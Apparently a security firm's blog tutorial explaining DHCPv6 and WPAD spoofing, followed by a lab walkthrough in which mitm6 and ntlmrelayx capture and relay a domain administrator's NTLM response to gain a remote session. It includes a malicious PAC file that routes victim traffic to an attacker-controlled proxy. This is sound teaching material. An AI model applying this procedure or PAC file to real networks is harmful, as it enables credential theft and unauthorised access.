Privia Security was chosen as one of Türkiye's fastest growing companies!

Read the News Read the News
23 February 2024

IPv6, DHCPv6 and WPAD Spoofing Attack

IPv6, DHCPv6 and WPAD Spoofing Attack
IPv6, DHCPv6 and WPAD Spoofing Attack

WPAD Spoofing Attack: How IPv6 Works

IPv6 is a protocol developed to address the shortcomings of IPv4. It is defined on computers with default activation on devices from Windows Vista onwards.

There are 3 different methods by which a device can learn its own IPv6 address:

  1. Stateless address autoconfiguration (SLAAC)
  2. Stateful address autoconfiguration
  3. Manual

SLAAC is used by default.

Stateless Address Autoconfiguration (SLAAC)

This enables a device to obtain its own IPv6 address information without needing a DHCP server. (The term “stateless” indicates that no server such as a DHCP server is required.) SLAAC obtains the necessary address information via the Neighbor Discovery Protocol (NDP). It can also obtain the DNS address it will use for IPv6 from a DHCPv6 server.

Neighbor Discovery Protocol (NDP)

NDP enables devices to discover each other on the local network for IPv6, and in this respect is similar to the ARP protocol. Communication is thus established with devices on the local network. NDP is used for stateless auto configuration, enabling devices to obtain IPv6 addresses without a DHCP server.

ICMPv6 (Internet Control Message Protocol version 6) is a communication protocol used for communication in IPv6 networks. ICMPv6 is used for error reporting in IPv6, enabling communication between network devices, and performing other network management tasks. NDP uses ICMPv6 packets.

These packets can be listed as:

What Are NS and NA Packets?

NS is used by devices on the local network to learn each other’s MAC addresses. The NS packet contains the sender device’s MAC address. In response, the device that receives the NS packet sends its MAC address via a NA packet.

What Are RS and RA Packets?

RS is used by devices on the local network to check whether there is a router on the network. If a router is present in the network, that router announces its presence using RA packets. RA packets contain network configuration information for the device. This allows devices to learn network configuration information for IPv6.

Note: Without waiting for an RS packet, routers can forward RA packets to devices.

Redirect

The Redirect packet is used by routers to update a device’s routing information for the best route to a destination device.

RS and RA packet usage example

The use of RS and RA packets is illustrated as an example in the figure above.

Stateful Address Autoconfiguration

Stateful address autoconfiguration enables devices to use only the address information received from a DHCPv6 server. The configuration information contained in RA packets is not used.

Manual

Manual configuration allows the user to use an IPv6 address of their own choosing.

How Is DHCPv6 Spoofing Carried Out?

DHCPv6 spoofing flow

The attacker broadcasts an RA packet multicast on their network once per minute.

1. The attacker sends a Router Advertisement (RA) packet to the victim with the flag values M:1 and O:1. The attacker thus introduces themselves to the victim as a router. Through the flag values sent within the packet, the attacker informs the victim that it needs to communicate with the DHCPv6 server to learn its IPv6 address and additional configuration information such as DNS.

2. The victim broadcasts a DHCPv6 SOLICIT packet multicast to discover a DHCPv6 server.

3. In response, the attacker sends a DHCPv6 Advertise packet to the victim. This packet contains the proposed IPv6 address for the victim and the DNS address for IPv6. The attacker thus aims to present their own IPv6 address to the victim as a DNS address.

4. The victim confirms the configuration information sent by the attacker via a DHCPv6 Request packet to the DHCPv6 server (the attacker).

5. Finally, the DHCPv6 (attacker) server presents the confirmed address information to the victim.

As a result of this, the DNS queries the victim makes come under the attacker’s control.

All the operations described above can be carried out using the tool called mitm6.

WPAD Spoofing Attack: What Is WPAD?

Web Proxy Auto-Discovery Protocol (WPAD) is a protocol that enables computers and other devices to automatically discover web proxy configurations. This allows devices on the network to automatically use a proxy server, so users do not need to configure proxy settings manually. By default, the address of the WPAD server is found via DNS queries.

WPAD proxy auto-detect setting

On Windows computers, the “Automatically detect settings” feature in Proxy settings is enabled by default. Browsers use this Windows feature to apply proxy configuration. If the client is a member of a domain, it requests the PAC file containing proxy configuration information from the WPAD server using the URI wpad.<domain_name>/wpad.dat.

WPAD Spoofing Attack: What Is a Proxy Auto-Configuration (PAC) File?

A PAC file enables the definition, through JavaScript functions, of whether browser requests will be forwarded directly or via a proxy. The PAC file is also known as wpad.dat. This configuration is obtained via WPAD.

Example PAC File

// url_example = wpad.company.com

function FindProxyForURL(url, host)
{
    if (dnsDomainIs(host, ".company.com"))
        return "DIRECT";
    else
        return "PROXY myproxy.company.com:8080";
}

// In the example given, myproxy.company.com:8080 will be used as a proxy for any
// request made outside *.company.com.

WPAD Spoofing Attack

With the WPAD Spoofing Attack, after the attacker carries out DHCPv6 spoofing, the DNS queries the victim makes come under the attacker’s control. The DNS request the victim makes to access the domain address where the PAC file is located reaches the attacker’s DNS server. The attacker, who can manipulate the proxy configuration information in the PAC file, forwards their own controlled IP address to the victim for use as a proxy. As a result, all HTTP requests the victim makes will pass through the attacker.

WPAD spoofing attack flow

1. The victim requests the PAC file.

2. The attacker forwards the PAC file to the victim. The victim defines the proxy address based on the PAC file.

3. Any HTTP request made by the victim is first forwarded to the attacker acting as a proxy, before reaching the server.

4. The attacker sends a 407 status code as a response to the victim. The purpose of this is to inform the victim that authentication must be completed using the authentication protocol specified by the attacker.

5. The victim forwards the NTLM response value to the attacker to complete the NTLM authentication process.

Thanks to the Single Sign-On (SSO) mechanism, the authentication process occurs in the background and the NTLM response value is forwarded to the attacker.

The steps carried out by the attacker described above can be performed by using the mitm6 and ntlmrelayx tools together.

Example Attack Scenario

The theoretical manner in which the attack is carried out is described above. The following stage describes how the attack is applied in an Active Directory environment.

Active Directory (AD) Lab Environment

AD Lab environment diagram

The AD Lab environment diagram and the users with active sessions on the systems are shown in the figure above. The stages of the WPAD Spoofing Attack take place in several steps:

  1. Taking control of the DHCPv6 and DNS server addresses of the computers in the AD environment.
  2. Capturing the HTTP requests of the computers in the AD environment following WPAD spoofing.
  3. Relaying the NTLM response value captured via the WPAD Spoofing Attack.

Carrying Out the Attack

The attacker spoofs the DHCPv6 server and introduces themselves as a DNS server, and carries out a WPAD spoofing attack to obtain the user’s NTLM response value. As a result of the attack, the NTLM response value of the user “invoker” (a domain administrator) who has an active session on the computer named “INVOKER-PC” is captured. The obtained NTLM response value is then relayed to the “TIDEHUNTER-PC” computer. The attacker thus obtains a session on the computer “TIDEHUNTER-PC” with the rights of the invoker user.

Note: The relayed user must have privileges on the systems to which the relay is directed.

DHCPv6 & DNS Spoofing

Communication between KALI ATTACKER-PC and INVOKER-PC

The communication taking place between KALI “ATTACKER-PC” and “INVOKER-PC” is represented by the figure above.

Note: The spoofing operation illustrated in the example above is carried out for every device in the AD environment.

mitm6 tool usage

The mitm6 tool is used to make the computers in the AD environment recognise the attacker as their DHCPv6 and DNS server.

The -d parameter is used to filter DNS queries to be replied to on a domain basis.

RA packet with M:1 O:1 flags

The attacker forwards the RA packet to all devices in the AD environment to make them obtain their IPv6 address from the DHCPv6 server.

The flag values within the packet are configured as M:1 O:1.

Attacker presenting as DHCPv6 server

The attacker presents their IPv6 address to devices in the AD environment that request a DHCPv6 server, presenting themselves as the DHCPv6 server. The packets that cause the victim to accept the attacker as a DHCPv6 server are shown above.

Victim defines attacker's IPv6 as DNS

As a result of DHCPv6 spoofing, the victim defines the attacker’s IPv6 address as DNS.

Note: The victim obtains the DNS address information from the DHCPv6 server.

NTLM Relay Attack

The mitm6 tool carries out a spoofing attack on the victim’s DHCP and DNS server. The mitm6 tool has been developed to work together with the ntlmrelayx tool.

ntlmrelayx configuration
ntlmrelayx parameters

WPAD with PAC File Spoofing

Victim requests PAC file via DNS

The victim (invoker) aims to learn the proxy configuration information in the wpad.dat (PAC) file. However, it first needs to resolve the domain where the file is located. It therefore forwards its queries to the attacker — who is also the DNS server — in order to perform name resolution. The attacker informs the victim that the address where the file is located is their own IPv4 address.

Victim requests wpad.dat from attacker

The victim (invoker) requests the wpad.dat (PAC) file from the address specified by the attacker.

Victim configures proxy from PAC file

The victim (invoker) uses the wpad.dat (PAC) file received from the server to configure the proxy for HTTP.

The JavaScript code in the PAC file the victim receives from the WPAD server, and its explanation, are shown below. The victim uses “wpad.dota.local” as the “url” parameter in the following function:

function FindProxyForURL(url, host) {
    // If host matches localhost, forward HTTP requests directly without using a proxy.
    if (host === "localhost" || shExpMatch(host, "localhost.*") || host === "127.0.0.1") {
        return "DIRECT";
    }
    // If host matches the "attacker.dota.local" domain, forward HTTP requests directly without proxy.
    if (dnsDomainIs(host, "attacker.dota.local")) {
        return "DIRECT";
    }
    // If the above conditions are not met, configure "attacker.dota.local" as the proxy.
    return "PROXY attacker.dota.local";
}

As a result of the victim (invoker) configuring the proxy via the PAC file, “attacker.dota.local” is set as the proxy.

Note: This configuration only applies to HTTP requests.

Victim queries attacker for proxy address

The victim (invoker) queries the attacker — who is also the DNS server — for the proxy address “attacker.dota.local” that it has configured and that is under the attacker’s control. The attacker forwards their own IPv4 address as the response to the query. The attacker thus identifies themselves as the proxy.

Victim's request to www.bing.com forwarded to attacker

The request made by the victim (invoker) to “www.bing.com” is forwarded to the attacker.

407 Proxy Authentication Required

The attacker carrying out the WPAD Spoofing Attack forwards the error code “407: Proxy Authentication Required” to the victim in response to the victim’s request. The packet specifies that the protocol for authentication will be NTLM. The victim thus performs the NTLM authentication steps through the attacker.

Victim sends NTLM Negotiate

The victim (invoker) forwards the NTLM Negotiate packet to the attacker.

Attacker sends NTLM Challenge

The attacker sends an NTLM Challenge packet. The packet contains the challenge value and information specifying that the NTLM authentication process will take place for the computer named “TIDEHUNTER-PC”.

Victim sends NTLM Response

The victim (invoker) forwards the NTLM response value to the attacker.

Attacker returns 404 to victim

Having obtained the victim’s (invoker’s) NTLM response value, the attacker forwards a 404 error code message to the victim in response.

Attacker relays NTLM to TIDEHUNTER-PC

Using the NTLM response value obtained from the user “invoker”, the attacker sends an SMB login request to the target computer (TIDEHUNTER-PC).

SMB session obtained on TIDEHUNTER-PC

The attacker successfully obtained an SMB session on the target computer (TIDEHUNTER-PC). In the obtained session, they can run commands with the rights of the “invoker” user.

Commands run via ntlmrelayx on TIDEHUNTER-PC

The attacker has obtained an SMB session on the target computer (TIDEHUNTER-PC). The ntlmrelayx tool uses port 11001 to run commands on the target computer. Commands are run on the target computer with the privileges of the invoker user via Netcat on port 11001.

Recommended Solutions for the WPAD Spoofing Attack

Other articles you may be interested in: ASCII Smuggling Attack

You May Be Interested In These